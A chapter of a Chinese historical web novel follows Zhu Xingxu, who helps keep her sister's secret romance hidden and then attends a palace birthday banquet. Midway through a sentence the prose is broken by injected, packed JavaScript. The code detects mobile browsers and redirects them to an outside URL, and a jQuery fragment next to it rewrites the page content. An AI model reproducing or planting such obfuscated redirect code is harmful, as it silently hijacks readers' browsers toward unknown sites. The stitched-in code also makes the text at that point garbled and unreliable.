天色渐晚,估摸着祝若怡应该快回来了。
祝星序打算先带着灿儿去她的院子里。
素兰打着灯笼在前面带路,祝星序牵着灿儿。
灿儿抬头问:“大姐姐,我们这是要去哪。”
祝星序笑道:“去找你二姐姐呀,好不好?”
灿儿也笑:“好呀!”
进了门,里面只有丫鬟,屋子还是黑的。
素兰问:“二小姐还没回来吗?”
丫鬟摇头。
祝星序并不在意。
“那我进去等吧。”
丫鬟把她们引了进来。
她利索地点燃油灯,祝星序便坐在椅子上等着祝若怡。
祝灿儿经常来,对这里很熟悉,很快找到以前玩的玩具。
“大姐姐,和我玩这个嘛!”
祝星序定睛一看,是一个毽子。
“灿儿,现在是晚上,玩不了哦。”
在室内踢这个……等等把祝若怡的房间都踢爆了。
祝灿儿似乎不太能理解为什么晚上不能玩了。
她将毽子扔起,然后踢了一脚。
祝星序赶紧上前想夺过来,没想到还是慢了一步。
毽子飞到百宝柜上,将一个木盒打了下来。
从木盒的外表可以看出来,它的质量并不好。
所以,盒子散架了,掉出了几张纸。
祝星序:“……”
她颤颤巍巍地拿起那几张纸。
尽管她一直告诉自己不要看不要看。
但在好奇心的驱使下,她还是看了一眼。
一张纸上面写了两行情诗,还有点带颜色的那种……
字迹好像有点熟悉。
另一张纸上画了一副男子的画像,只是没有脸。
她本来就担心撞见什么不该看的秘密。
就是这么的巧……
祝星序着急忙慌地把纸全部塞到盒子里,并赶紧放回去,企图假装什么也没有发生。
但木盒子散架得太厉害了,简直像成了原材料一样,需要重新加工。
弄了半天也没弄好。
祝灿儿蹲在旁边看她摆弄。
祝若怡回来了,悄悄站在祝星序身后。
“你在干什么?”
祝星序猛地一回头,吓得手里的盒子掉到了地上。
纸张又飞了出来。
祝若怡看见是什么,皱眉,赶紧将纸揣起来。
“祝星序,你怎么偷看我的东西?”
她有些生气,瞪着祝星序。
祝灿儿见两位姐姐似乎要爆发争吵,赶紧小跑过来拉着祝若怡的手。
“是灿儿不好,刚刚灿儿在房间里踢毽子,不小心把盒子踢下来了,大姐姐在修盒子。”
她的声音软软糯糯的,还摇晃着祝若怡的手。
对着祝灿儿,她生气不起来。
“二姐姐没有怪灿儿的意思……”
祝若怡尴尬地看了祝星序一眼。
祝星序赶紧撇开视线,假装看向别处,装模作样道:“哎你这个花瓶不错……”
祝灿儿也跑到祝星序那边,拉起她的手,牵着祝星序到祝若怡面前。
她又将祝若怡的手拉起,和祝星序的手握了握。
“姐姐们不要吵架哦。”
两人的眼神都有一些无奈,但都不愿意拂了祝灿儿的意。
祝若怡轻轻咳了一声,面颊绯红。
“你不要和母亲说……”
祝星序紧紧闭着嘴巴,点头。
她这副身体已经十六岁了,祝若怡十四。
真的好小啊!才上初中吧!
转念一想,谁没在情窦初开的年纪对异性有过好感呢?
祝星序忽然想到古代都是父母之命媒妁之言,她有些担忧祝若怡。
“你们已经坦白心意了?”
祝若怡的脸更红了些,轻轻点了点头。
祝星序见她娇羞的模样,真不知道是为她高兴还是不高兴。
想到她向祝灿儿夸自己的那些话,她又多问了几句。
“那个男人……是世家子弟吗?”
祝若怡又红着脸点头。
祝星序稍微放松了些。
既是世家子弟,来日他上门提亲,祝明礼和许氏同意的概率也就大了些。
“多注意一下……”
她想说不要有婚前X行为,古代的避孕条件不好,很容易怀上。
但又觉得说得太直白会吓到她。
许氏应该和她说过这方面的事情。
那她还是不要多嘴,以免祝若怡觉得她烦。
祝若怡又点了点头,似乎没有明白她说的具体是什么。
祝星序蹲下来和祝灿儿讲话。
祝若怡将东西都收拾好,用了另一个更坚固的木盒装。
她想着普通的木盒子不显眼,不会被母亲注意到。
只是她也确实没想到,这个盒子这么容易被摔坏。
她侧目偷偷看了一眼祝星序。
祝若怡其实一直都很想和祝星序打好关系。
但是母亲不让,她也不敢。
此次的契机居然意外实现了她的愿望。
她也很想和大姐姐说体己话。
毕竟她们差得不大,有很多共同话题。
她把木盒装到抽屉里。
想了想,祝若怡又拿出来,放床底下。
祝星序见她迟疑的模样,开口:“要不放我那?母亲不会来我房里的。”
祝若怡眼睛一亮。
这确实是个好主意。
她将盒子拿给祝星序。
“那……麻烦你了……之后我可能还要去找你……”
祝若怡的声音细若蚊蝇。
祝星序接过来:“好,我不在的话你就找锦珠和素兰。”
她和祝灿儿道:“那大姐姐先回去啦,你和二姐姐玩。”
祝灿儿挥手:“好的大姐姐,下次我还找你。”
祝若怡也笑起来,看着她离去的背影。
祝星序手捧盒子,到了院子后,和枯青树毛笔朱雀玉牌放在一起。
盒子是祝若怡的心意,和她的这些东西一样重要。
*
这一段日子,祝星序一直在打听积夜潭的位置。
她明着暗着打听,皆一无所获。
翻阅古籍,也没有任何描写。
商文修也派人去寻找,什么也找不到。
祝星序有些颓然。
难道真的只有皇帝才能找到?
直接把全国湖水里的冰乳石拿到手,然后一个一个试?
这确实也是办法……
祝星序坐在自己的房间里,重重地叹了一口气。
好想回家……
正发着呆,锦珠从外面赶来。
“大小姐,现在差不多该准备了。”
祝星序愣愣地点头。
前些日子,皇帝要为太后举办寿辰。
今日是太后的七十大寿,皇帝下旨与官员同乐。
所有人都要带上家眷前去庆贺。
不光是为了庆祝,也是为了冲喜。
太后的身体不大好了,近日来总是召太医去把脉。
不过,能活到这个岁数,去了也是喜丧。
既是皇上亲下的旨,祝星序不去也得去。
锦珠得了指示,开始为祝星序装扮。
素兰拿出一套崭新的衣裙来。
去参加宫宴,就必须得打扮得庄重典雅。
祝星序往日爱穿的蓝色衣裙不能穿了。
因着行动方便的素簪也不能戴了。
繁重的宫装穿上,她的背立马驮下去。
锦珠赶紧敲敲她的背。
“大小姐,礼仪要到位。”
祝星序赶紧挺起来。
素兰和锦珠又往她的头上插着沉重而精致的钗饰。
祝星序感觉到她的头一点一点往脖子里挤。
弄完这些,锦珠又帮她涂上厚厚的粉。
化好妆,锦珠和素兰点头。
“大小姐真是好看。”
祝星序小心翼翼地走到门口,见许氏穿着更为华贵的宫装,头上的簪子和钗饰只比她多,不比她少。
祝若怡则和她一样。
灿儿年纪还小,穿得可爱就行。
祝明礼是官员,比她们早些入宫。
在门口,祝星序见到了已经许久未见的弟弟。
祝宗景。
祝明礼对这个儿子非常宝贵,从给他取的名字就可以看出来。
等他开了蒙,又送去京内最好的老师那学习。
他整日里早出晚归,祝星序很少见到他。
坐上马车,车夫驾驶着,往皇宫走去。
到皇宫门口,只能下车乘轿。
此时,已经有不少的夫人和贵女和她们并肩而行。
祝星序还看到了季迟影,和她打了个招呼。
季迟影原本还恹恹的,看到祝星序,心情也好了一点。
到了宴会厅,还没开宴,人们都纷纷走到相熟的人附近开始聊天。
季迟影赶紧去找祝星序。
祝若怡原本和祝星序挨在一起,见季迟影跑来找祝星序,有些不开心。
“星序!”
季迟影并没有看到祝若怡敌对的目光,只满心欢喜地看着祝星序。
看着季迟影也和她一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387609|180379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样的满头珠翠,祝星序笑了。
“哎呀,来这一趟,可受不少罪呢。”
季迟影笑:“是啊,还不能不来。”
祝若怡赶紧和祝星序靠得更近。
“大姐姐,戴这么多头饰,我头都紧了。”
她其实早就习惯戴这么多了,只是想引起祝星序的注意。
祝星序果然有些心疼,拉着她的手。
“坚持住,很快就结束了。”
她总觉得祝若怡很快就要嫁出去了。
若是她和那名男子顺利,几个月就能定下来婚期。
是以祝星序现在,能和她多说些话就多说些。
季迟影并没有发觉,只是有些同情地看着她。
“星序,这位是?”
祝星序和她介绍:“这是我二妹妹,祝若怡。”
季迟影友好地行礼。
祝若怡略带防备地回礼。
季清清在远处盯着季迟影,又开始蠢蠢欲动。
她带领着一帮小姐妹走到她们附近。
“祝若怡,过来。”
季清清挑眉。
祝星序看到她,都快无语了。
怎么每次都玩小学生这一套。
祝星序自然无动于衷。
祝若怡有些纠结地看了看季清清,又看了看祝星序。
“大姐姐……我……”
京中贵女大多和季清清来往密切,祝若怡也不例外。
祝星序不想为难她,只道:“没关系的,你去吧。”
祝若怡得了肯定,提着裙子就小跑了过去。
季迟影看着祝若怡的背影,咬咬唇。
祝星序安慰她:“都是小孩子,别管他们。”
她看着祝星序,点点头。
聊了几句,便开宴了。
众人走进宴会厅。
整座宴会厅能顶得上十座操场那么大了,且都由灿金色组成。
正中间是绣着龙凤呈祥的壁画,栩栩如生。
高台上的三个椅子,代表着这个朝代至高无上的三人。
祝星序他们只能坐在下首,离高台有段距离。
家眷们的位置按照官员的职位划分。
祝星序的左手边是祝若怡,右手边是季迟影。
祝灿儿则和许氏在一个位置。
宴席的菜早已摆了上来,此时看着菜都有些凉了。
祝星序愣愣地盯着这些菜,觉得十分疲惫。
还不能吃……
所有人坐下之后,约莫一刻钟,太后、皇帝先出现了。
皇帝以例发表了演讲,然后再到太后。
皇后前几年逝去,到现在还没立新后。
现在暂管后宫的是晴贵妃,膝下只有一位小公主。
她坐在后首,看上去温婉娴静。
接下来,又轮到一些高位的臣子说话。
祝星序已经等得没了脾气。
也不知过了多久,太监终于说开宴。
伶人鱼贯而入,开始表演。
祝星序立刻拿起筷子夹菜吃。
虽然菜已经凉了,但味道还行。
对于饿极了的祝星序来说,已经算是非常美味了。
吃着吃着,一旁的祝若怡道:“大姐姐,我去更衣。”
祝星序埋首在食物中,头也没抬。
“去吧去吧。”
等吃得半饱时,祝星序才猛然发现,祝若怡还没回来。
她有些担心,起身去找。
锦珠见她起身,也要跟着。
祝星序忙摆手:“你别去,留在这应付母亲。我去找找她。”
锦珠只好留在原地。
祝星序走出宴会厅,走在御花园内。
宫里几乎所有的贵人都在宴会厅,不少的宫女和太监也在宴会厅内帮忙。
此时的御花园静寂无声。
祝星序小声叫着祝若怡的名字。
她不敢走太远,怕自己迷路。
“若怡……”
旁边一树丛林发出沙沙的响声。
“若怡是你吗?”
祝星序有些紧张,从头上取下一根步摇,紧紧攥在手里。
今日鱼龙混杂,没准又有像之前那样的刺客呢。
裴榭从树丛里走出来。
他看到祝星序,也有些惊讶。
“你怎么在这?”
他的视线掠过祝星序手上的步摇。
裴榭今日穿着玄色圆领袍衫,更衬得他肤色雪白,肃穆又矜贵。
“我二妹妹不见了,我来寻她。”
听说她的二妹妹不见了,裴榭的眼神中闪过一丝复杂。
“我看到太子正和一名女子在那边。”